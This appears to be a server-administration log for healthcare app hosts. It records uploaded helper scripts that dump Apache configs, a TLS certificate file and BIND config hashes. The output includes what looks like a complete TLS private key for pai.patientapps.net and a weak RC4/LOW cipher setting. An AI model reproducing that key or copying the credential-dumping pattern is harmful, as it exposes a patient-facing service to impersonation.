         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-15 13:05:00: 

PUT: /tmp/pkp484089

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-15 13:05:00: 

chmod 755 /tmp/pkp484089; /tmp/pkp484089; rm /tmp/pkp484089

2026-05-15 13:05:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf	1572

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-15 13:05:00: 

PUT: /tmp/pkp622849

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-15 13:05:00: 

chmod 755 /tmp/pkp622849; /tmp/pkp622849; rm /tmp/pkp622849

2026-05-15 13:05:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt	5356
51:c9:0a:27:8b:d7:7f:fb:31:5a:cb:b7:41:d9:07:5f

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBak7dTBZoE/cdwh7d2UAgH93MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE1MTIwNjI4WhcNMjYwODEzMTIwNjI3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAtg6nbS14xW3egAiBnn+HL9CfOlMunlM8mQh/pg5oQq4WQTCUgg5l3LZW
RKhvh0BfnZYnpFYI+UynOJWatJsWXN4oazNUQh2bHoeec4dxxb5RFgN4CEpNwhCx
gwb3E2Ec/kOQbvmzUDSKSzWLDOgYeNXZed4UjCGmqwWFEY0FKKQjN1QdFUvICh57
WzTXHV3qNqk4zb7U3v8cEQ040C1IaG7BL0QmWZM/VWrxWwnl3auk5e4/XJ+XLHOv
TykdzS39VaUQoGVhII1VDVd8atdmOvuUBsY6xlnEfFf7pG7e8hFBPxdEUQJdmYKY
lNrRiKl1gy2VKuF+BizQGPyIKZ3TVwIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLOvFFpabhl24zHbLFyfobW6Kh28MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITcGFpLnBhdGllbnRhcHBzLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyMC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQDXbX0Q
0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ4rvXjCAAAEAwBGMEQCIHHZ
Ks8DzQQXEwgqCxcSdAroOXU/Wa55HafRpSBVjKRXAiBLpN2/Ot3CEPDNZ4ZaYPdd
pnDWqDMzzCGBgh7eZQ5WpgB+ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419e
JiXvAAABniu9e0wACAAABQATCQsVBAMARzBFAiBPyMQZr8ezAO/3CavdYIN1NU6c
Ed9vQxbvFDJRp9zLBQIhAPeNQ1bzrMohg2hXo8u69ngkXZ7lO70hG4yfnHoPtSE+
MA0GCSqGSIb3DQEBCwUAA4IBAQA0wvHqy4xVz/V2hPlF1cqaNBHdivaPSfCo4N+R
uavVzOvxN7ct9uRHYrKwlRM4NcQw6RCj+Ih4Cv8QiYLjVtvAZwdAHHqZ4I6yEIjx
qN2PaXHp+MQSfhRE/Ci0RbE6PmHh074AgnAo9XpW5ANLzrA+9kx4GMUuo0Eebmey
rHZv0e/ztY6RlUO9wvfTNCYYrq8P7T1Qw0vszHNm18eCc9Xz1l7MxGv5jAbjAwaf
37SNKj5vDBgw3AhzdUaJbhJgAV4ckYBXf0KvhZaw/gbA1P/v2bZiEuRBgZSzkrsm
bKnoZBS1WsIdMq4rYMEGLPKrvKEJD9rLpYQnErhjZZdgQDj+
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC2DqdtLXjFbd6A
CIGef4cv0J86Uy6eUzyZCH+mDmhCrhZBMJSCDmXctlZEqG+HQF+dliekVgj5TKc4
lZq0mxZc3ihrM1RCHZseh55zh3HFvlEWA3gISk3CELGDBvcTYRz+Q5Bu+bNQNIpL
NYsM6Bh41dl53hSMIaarBYURjQUopCM3VB0VS8gKHntbNNcdXeo2qTjNvtTe/xwR
DTjQLUhobsEvRCZZkz9VavFbCeXdq6Tl7j9cn5csc69PKR3NLf1VpRCgZWEgjVUN
V3xq12Y6+5QGxjrGWcR8V/ukbt7yEUE/F0RRAl2ZgpiU2tGIqXWDLZUq4X4GLNAY
/IgpndNXAgMBAAECggEAOIwsrNim3ovVxGbf+98Yml1uV6tmm363H8FoBKgM8kko
WG9CcXMPaJKqEQFQQu5XxJbTEVQ3zVdlyUmOl/Jj68yFOWbkEPUpLT5qlO/JAuau
QOwq6EhMBq8ws8YCEF7lpoRN5Gpiq9Ll8Z5b5lJg54dk2VmFgFEjd5NrVZw7sfdj
a9IimHUdIPXqEzyGZluKvp6bkg5DZuQA5maV8OxJPcE3PDl8RhDgV4wGtxxCcHYA
B9QRIzLdVfHYtRgLNRmWSjJFgNVMMj0uUveexKWvaYvrYt/QfMzA0AkkoX3zCV6B
MiWNCNTSOnAj6wiwRKjJv4hvrrVdTEAz7iRJ+idGoQKBgQDY/GlIZ0aTGjduVoWZ
ivxgpMJIfCLDxqDwQPfS4PE8qYdieVIJWb1jYLBQYGMdFos8FW0YdJCWjBDvBVr/
uNVwyQhQQ3LVplUOBWcyqBm91KoR8JkXk8QOgphY4kxsKMC06cuVMY2hLskXXRx4
ocpd8lLzHFqwGBLCr8i/LD0+qwKBgQDWyoRuOh9Lf278Zz+x1vjW9iRiJlMbV8JU
h4Aj5An3Mh7kzft2srQ5t+f5oGsAwf1xCprlUYwabC4Mg1gZYwMjt52cQXInlA8f
CXk+5Dztej9WIrZTe3Xl5+qJhclz87O3b57l7MakyHZrS5sxcjOskF+y0aUWcu/x
9yi3c/rOBQKBgFw+qi96oDknOwtwQumseXBIesO/6jOafI7Gv9RphoTIeWK2utZ4
zRezYiE5aMlT7StE3JU58MHfl89VUoNGO47wF9WvZuFHDf+g8mdJqW/XOdnYk+y/
B+k3Qbb/tYeBp7MBdWfeohw0vI5vKgxqk5Ju0y7BDhiwk0Eq48fJ8dtzAoGAYngz
oEj7IeSJICPBeqlgKURsx6ZkQUvJZnE8WLfpra8HpMOd/fvNTgy2x6U4iP9mTlWb
T3hEL7Tao5fvYqwWu2ApXIJQcD6bdBImyKNgH0sFEFsXlUwrb7wTtPplscfO41DD
2wriwpa4W1YtDs0ZTYpepR8hfRoyUI6L1xbPq3UCgYAYtYMN9RlYZzfpx2ZspIpG
KyAaWqe4maLikvxS0q91NL1P68TUdf+2q0RrNAu7M5S/aeG7gOD7VKId0UGWyHsP
/5W/Ed4f7cqPK/8m9ufHqiNJxKbe5S0folvAJScN5tmUQZPbIY5/lC7TEkzYwd9X
OeDrnicaOqmc4e5uvTzbng==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-15 17:25:05: Establishing a connection
2026-05-15 17:25:05: 

PUT: /tmp/pkp237971

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:25:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp237971; rm /tmp/pkp237971'

2026-05-15 17:25:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
